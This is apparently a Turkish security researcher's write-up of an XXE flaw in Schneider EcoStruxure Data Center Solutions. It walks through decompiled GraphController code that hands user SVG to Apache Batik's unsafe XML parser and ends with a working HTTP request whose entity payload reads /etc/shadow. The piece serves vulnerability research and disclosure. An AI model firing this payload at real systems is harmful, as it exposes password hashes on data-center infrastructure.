Schneider EcoStruxure Data Center XXE
Schneider EcoStruxure Data Center Solutions⌗
Schneider EcoStruxure Data Center Solutions veri merkezlerinde kullanilan alt yapi, enerji yonetim otomasyonudur. Bu urunu zdi’da gordum incelemek istedim, kurulumunu rahat yapabildigim nadir urunlerden…
AJP Proxy⌗
Ajp
Apache JServ Protocol, apache http sunucusu ile java tabanli uygulama sunuculari (tomcat
vs.) arasindaki iletisimi saglamak icin kullanilan bir protokoldur. Ajp proxy web serverdan istekleri alip bu istekleri arka plandaki java uygulamalara yonlendirir. EcoStruxure urunune ait alt tarafta ajp configi bulunmaktadir.
Route⌗
Uygulamada disardan kullanicinin erisebilecegi bircok route var, bugun ise isxg
kismina odaklanacagiz isxg
‘nin altinda birsuru controller bulunmakta bunlardan bazilari Camera
,Dashboard
,Device
,Graph
…
GraphController⌗
package com.apc.isxc.report.integration.rest;
import com.apc.common.report.integration.rest.api.IGraphController;
...
import org.apache.batik.transcoder.TranscoderInput;
import org.apache.batik.transcoder.TranscoderOutput;
import org.apache.batik.transcoder.TranscodingHints;
import org.apache.batik.transcoder.image.ImageTranscoder;
import org.apache.batik.transcoder.image.JPEGTranscoder;
import org.apache.batik.transcoder.image.PNGTranscoder;
import org.apache.fop.svg.PDFTranscoder;
import org.apache.log4j.Logger;
import org.jfree.chart.ChartFactory;
import org.jfree.chart.ChartUtilities;
import org.jfree.chart.JFreeChart;
...
import org.springframework.web.bind.annotation.RequestParam;
@RequestMapping({"/graphs", "/v1/internal/graphs"})
@Api(tags = {"graph"})
@Controller
@DCEApi(name = "graph", description = "REST API for generating graphs with JFreeChart and Apache Batik", external = false, rateLimitedEndpointPrefixes = {"/v1/internal/graphs"}, rateLimitRequestsPerMinute = 60)
public class GraphController implements IGraphController {
private static final Logger LOG = Logger.getLogger(GraphController.class);
@Autowired
private SensorApplication sensorApplication;
@Autowired
private SensorTranslatorFactory sensorTranslatorFactory;
private Map<String, String> defaultOptions;
@PostConstruct
public void init() {
this.defaultOptions = new HashMap();
this.defaultOptions.put("x", "150");
this.defaultOptions.put("y", "20");
this.defaultOptions.put("fg", "0x2FB4E9");
this.defaultOptions.put("fgAlert", "0xD73C14");
this.defaultOptions.put("fgWarn", "0xFFDD00");
this.defaultOptions.put("hours", "6");
this.defaultOptions.put("stroke", "1.2");
this.defaultOptions.put("stroke1", "1.6");
}
@RequestMapping(value = {"/spark/{sensorId}"}, produces = {"image/png"})
@ApiImplicitParams({@ApiImplicitParam(name = "x", value = "The spark line chart width", defaultValue = "150", required = false, dataType = DECommons.VALUE_TYPE_STRING, paramType = "query"), @ApiImplicitParam(name = "y", value = "The spark line chart height", defaultValue = "20", required = false, dataType = DECommons.VALUE_TYPE_STRING, paramType = "query"),
...
@ApiOperation(httpMethod = "GET", value = "Create a spark line chart using JFreeChart. NOTE: operation not valid through Swagger.", response = Byte.class, produces = "image/png")
public void spark(HttpServletRequest request, HttpServletResponse response, @PathVariable("sensorId") @ApiParam(value = "Id of the sensor", required = true) String sensorId) {
Color bg;
if (LOG.isDebugEnabled()) {
LOG.debug("spark graph: " + sensorId);
}
Map<String, String> options = new HashMap<>();
options.putAll(this.defaultOptions);
for (Object key : request.getParameterMap().keySet()) {
LOG.debug("Overriding " + key + " with " + request.getParameter((String) key));
options.put((String) key, request.getParameter((String) key));
}
ServletOutputStream out = null;
...
...
} finally {
try {
out.close();
} catch (Exception e4) {
}
}
}
@RequestMapping(value = {"/exporter"}, method = {RequestMethod.POST})
@ApiImplicitParams({@ApiImplicitParam(name = BotServiceConstants.TYPE_FIELD, value = "the export image content type. Possible values: image/png, image/jpeg, application/pdf or image/svg+xml", required = true, dataType = DECommons.VALUE_TYPE_STRING, paramType = "query"), @ApiImplicitParam(name = "filename", value = "the export image filename", defaultValue = "chart", required = false, dataType = DECommons.VALUE_TYPE_STRING, paramType = "query"), @ApiImplicitParam(name = "width", value = "width of the export image", required = false, dataType = DECommons.VALUE_TYPE_STRING, paramType = "query"), @ApiImplicitParam(name = "svg", value = "the SVG format data to export", required = true, dataType = DECommons.VALUE_TYPE_STRING, paramType = "query", examples = @Example({@ExampleProperty(mediaType = AbstractXmlController.MIMETYPE_TEXT_XML, value = "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 100 100\">\n <circle cx=\"50\" cy=\"50\" r=\"50\" fill=\"green\"/>\n</svg>")}))})
@ApiOperation(httpMethod = "POST", value = "Use Apache Batik to export an \"image\" from SVG. NOTE: operation not valid through Swagger.", produces = "{ image/png, image/jpeg, application/pdf, image/svg+xml }")
public void exportSvg(@RequestParam("type") String type, @RequestParam(value = "filename", defaultValue = "chart", required = false) String filename, @RequestParam(value = "width", required = false) String width, @RequestParam("svg") String svg, HttpServletResponse response) {
OutputStream out = null;
try {
try {
PNGTranscoder pNGTranscoder = null;
String ext = null;
Map<TranscodingHints.Key, Object> transcodingHints = new HashMap<>();
if (type.equals("image/png")) {
pNGTranscoder = new PNGTranscoder();
ext = "png";
} else if (type.equals("image/jpeg")) {
pNGTranscoder = new JPEGTranscoder();
transcodingHints.put(JPEGTranscoder.KEY_QUALITY, Float.valueOf(0.75f));
ext = "jpg";
} else if (type.equals("application/pdf")) {
pNGTranscoder = new PDFTranscoder();
ext = "pdf";
} else if (type.equals("image/svg+xml")) {
ext = "svg";
}
if (ext == null) {
sendError(response, 400, "Invalid type given: " + type);
if (0 != 0) {
try {
out.close();
return;
} catch (Exception e) {
return;
}
}
return;
}
String attachment = filename + DECommons.ID_DELIMITER + ext;
response.setHeader("Content-Disposition", "attachment; filename=" + attachment);
response.setHeader("Content-Type", type);
ServletOutputStream outputStream = response.getOutputStream();
if (pNGTranscoder != null) {
if (width != null) {
transcodingHints.put(ImageTranscoder.KEY_WIDTH, Float.valueOf(width));
}
pNGTranscoder.setTranscodingHints(transcodingHints);
TranscoderInput input = new TranscoderInput(new ByteArrayInputStream(svg.getBytes(StandardCharsets.UTF_8)));
TranscoderOutput output = new TranscoderOutput(outputStream);
pNGTranscoder.transcode(input, output);
outputStream.flush();
} else {
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(outputStream));
try {
bw.append((CharSequence) svg);
bw.flush();
bw.close();
} catch (Throwable th) {
bw.close();
throw th;
}
}
if (outputStream != null) {
try {
outputStream.close();
} catch (Exception e2) {
}
}
} catch (Exception e3) {
LOG.error(e3.getMessage(), e3);
sendError(response, 500, e3.getMessage());
if (0 != 0) {
try {
out.close();
} catch (Exception e4) {
}
}
}
} catch (Throwable th2) {
if (0 != 0) {
try {
out.close();
} catch (Exception e5) {
}
}
throw th2;
}
}
private void sendError(HttpServletResponse response, int code, String message) {
LOG.error(message);
response.setStatus(code);
try {
response.sendError(code, message);
} catch (Exception e) {
LOG.error("Error sending error :)");
}
}
}
RequestMapping
http isteklerini belirli url yapisina yonlendirmek icin kullanilir, bu class /graphs
ve /v1/internal/graphs
urlsini bekler.
exportSvg⌗
exportSvg
metodu exporter
adinda bir url tanimlar ve post istegi bekler.
Kodun ana yapisi post olarak type
parametresi aliyor bu donusturulecek resmin formati olacak image/png
,image/jpeg
,application/pdf
,image/svg+xml
filename
parametresi donusturulen resmin dosya adi.
svg
parametresi bizden aldigi svg resmine ait veri.
Kullanicinin belirttigi verilere gore resmi png,jpg,pdf vs formatina donusturur ve ardindan response olarak bunu bize verir. Burada bizim icin onemli kisim olan PNGTranscoder
bunu biraz inceledigimizde apache batik kutuphanesine ait oldugunu goruyoruz.
2015-2017 yillari arasi xxe acigi cikmis apache batik’i biraz inceledikten sonra SAXSVGDocumentFactory
classindaki createDocument
methodunda xxe oldugu ortaya cikmaktadir..
protected Document createDocument(InputSource is)
throws IOException {
try {
if (parserClassName != null) {
parser = XMLReaderFactory.createXMLReader(parserClassName);
} else {
SAXParser saxParser;
try {
saxParser = saxFactory.newSAXParser();
} catch (ParserConfigurationException pce) {
throw new IOException("Could not create SAXParser: "
+ pce.getMessage());
}
parser = saxParser.getXMLReader();
}
parser.setContentHandler(this);
parser.setDTDHandler(this);
parser.setEntityResolver(this);
parser.setErrorHandler((errorHandler == null) ?
this : errorHandler);
parser.setFeature("http://xml.org/sax/features/namespaces",
true);
parser.setFeature("http://xml.org/sax/features/namespace-prefixes",
true);
parser.setFeature("http://xml.org/sax/features/validation",
isValidating);
parser.setProperty("http://xml.org/sax/properties/lexical-handler",
this);
parser.parse(is);
} catch (SAXException e) {
Exception ex = e.getException();
if (ex != null && ex instanceof InterruptedIOException) {
throw (InterruptedIOException)ex;
}
throw new SAXIOException(e);
}
currentNode = null;
Document ret = document;
document = null;
doctype = null;
locator = null;
parser = null;
return ret;
}
Exploit7 Bolumu⌗
POST /isxg/graphs/exporter HTTP/1.1
Host: 192.168.1.198
Cache-Control: max-age=0
Authorization: Basic cm9vdDpyb290
Content-Type: application/x-www-form-urlencoded
Content-Length: 249
type=image/png&filename=exp7&svg=<!DOCTYPE+svg+[+<!ENTITY+xxe+SYSTEM+"file:///etc/shadow">+]><svg+xmlns%3d"http%3a//www.w3.org/2000/svg"+width%3d"10000"+height%3d"200"><text+x%3d"10"+y%3d"100"+font-size%3d"20"+fill%3d"red">%26xxe%3B</text></svg>